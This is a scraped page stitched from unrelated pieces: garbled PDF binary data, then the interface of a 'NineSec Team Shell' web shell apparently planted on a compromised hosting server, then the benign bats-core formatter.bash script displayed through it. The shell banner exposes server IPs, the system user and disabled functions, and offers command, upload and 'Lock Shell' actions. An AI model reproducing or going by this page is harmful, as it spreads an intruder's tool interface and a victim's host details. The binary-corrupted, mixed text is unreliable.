%PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 2a02:4780:6:1422:0:e17:6acc:2  /  Your IP : 216.73.216.192
Web Server : LiteSpeed
System : Linux id-dci-web1322.main-hosting.eu 4.18.0-553.109.1.lve.el8.x86_64 #1 SMP Thu Mar 5 20:23:46 UTC 2026 x86_64
User : u236415692 ( 236415692)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /lib/.build-id/f7/../81/../a8/../21/../../bats-core/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //lib/.build-id/f7/../81/../a8/../21/../../bats-core/formatter.bash
#!/usr/bin/bash

# reads (extended) bats tap streams from stdin and calls callback functions for each line
# bats_tap_stream_plan <number of tests>                                      -> when the test plan is encountered
# bats_tap_stream_begin <test index> <test name>                              -> when a new test is begun WARNING: extended only
# bats_tap_stream_ok [--duration <milliseconds] <test index> <test name>      -> when a test was successful
# bats_tap_stream_not_ok [--duration <milliseconds>] <test index> <test name> -> when a test has failed
# bats_tap_stream_skipped <test index> <test name> <skip reason>              -> when a test was skipped
# bats_tap_stream_comment <comment text without leading '# '> <scope>         -> when a comment line was encountered, 
#                                                                                scope tells the last encountered of plan, begin, ok, not_ok, skipped, suite
# bats_tap_stream_suite <file name>                                           -> when a new file is begun WARNING: extended only
# bats_tap_stream_unknown <full line> <scope>                                 -> when a line is encountered that does not match the previous entries,
#                                                                                scope @see bats_tap_stream_comment
# forwards all input as is, when there is no TAP test plan header
function bats_parse_internal_extended_tap() {
    local header_pattern='[0-9]+\.\.[0-9]+'
    IFS= read -r header

    if [[ "$header" =~ $header_pattern ]]; then
        bats_tap_stream_plan "${header:3}"
    else
        # If the first line isn't a TAP plan, print it and pass the rest through
        printf '%s\n' "$header"
        exec cat
    fi

    ok_line_regexpr="ok ([0-9]+) (.*)"
    skip_line_regexpr="ok ([0-9]+) (.*) # skip( (.*))?$"
    not_ok_line_regexpr="not ok ([0-9]+) (.*)"

    timing_expr="in ([0-9]+)ms$"
    local test_name begin_index ok_index not_ok_index index scope
    begin_index=0
    index=0
    scope=plan
    while IFS= read -r line; do
        case "$line" in
        'begin '*) # this might only be called in extended tap output
            ((++begin_index))
            scope=begin
            test_name="${line#* $begin_index }"
            bats_tap_stream_begin "$begin_index" "$test_name"
            ;;
        'ok '*)
            ((++index))
            scope=ok
            if [[ "$line" =~ $ok_line_regexpr ]]; then
                ok_index="${BASH_REMATCH[1]}"
                test_name="${BASH_REMATCH[2]}"
                if [[ "$line" =~ $skip_line_regexpr ]]; then
                    test_name="${BASH_REMATCH[2]}" # cut off name before "# skip"
                    local skip_reason="${BASH_REMATCH[4]}"
                    bats_tap_stream_skipped "$ok_index" "$test_name" "$skip_reason"
                else
                    if [[ "$line" =~ $timing_expr ]]; then
                        bats_tap_stream_ok --duration "${BASH_REMATCH[1]}" "$ok_index" "$test_name"
                    else
                        bats_tap_stream_ok "$ok_index" "$test_name"
                    fi
                fi
            else
                printf "ERROR: could not match ok line: %s" "$line" >&2
                exit 1
            fi
            ;;
        'not ok '*)
            ((++index))
            scope=not_ok
            if [[ "$line" =~ $not_ok_line_regexpr ]]; then
                not_ok_index="${BASH_REMATCH[1]}"
                test_name="${BASH_REMATCH[2]}"
                if [[ "$line" =~ $timing_expr ]]; then
                    bats_tap_stream_not_ok --duration "${BASH_REMATCH[1]}" "$not_ok_index" "$test_name"
                else
                    bats_tap_stream_not_ok "$not_ok_index" "$test_name"
                fi
            else
                printf "ERROR: could not match not ok line: %s" "$line" >&2
                exit 1
            fi
            ;;
        '# '*)
            bats_tap_stream_comment "${line:2}" "$scope"
            ;;
        'suite '*) 
            scope=suite
            # pass on the
            bats_tap_stream_suite "${line:6}"
        ;;
        *)
            bats_tap_stream_unknown "$line" "$scope"
        ;;
        esac
    done
}

# given a prefix and a path, remove the prefix if the path starts with it
# e.g. 
# remove_prefix /usr/bin /usr/bin/bash -> bash
# remove_prefix /usr /usr/lib/bash -> lib/bash
# remove_prefix /usr/bin /usr/local/bin/bash -> /usr/local/bin/bash
remove_prefix() {
  base_path="$1"
  path="$2"
  if [[ "$path" == "$base_path"* ]]; then
    # cut off the common prefix
    printf "%s" "${path:${#base_path}}"
  else
    printf "%s" "$path"
  fi
}

normalize_base_path() { # <target variable> <base path>
    # the relative path root to use for reporting filenames
    # this is mainly intended for suite mode, where this will be the suite root folder
    local base_path="$2"
    # use the containing directory when --base-path is a file
    if [[ ! -d "$base_path" ]]; then
        base_path="$(dirname "$base_path")"
    fi
    # get the absolute path
    base_path="$(cd "$base_path" && pwd)"
    # ensure the path ends with / to strip that later on
    if [[ "${base_path}" != *"/" ]]; then
        base_path="$base_path/"
    fi
    printf -v "$1" "%s" "$base_path"
}

NineSec Team - 2022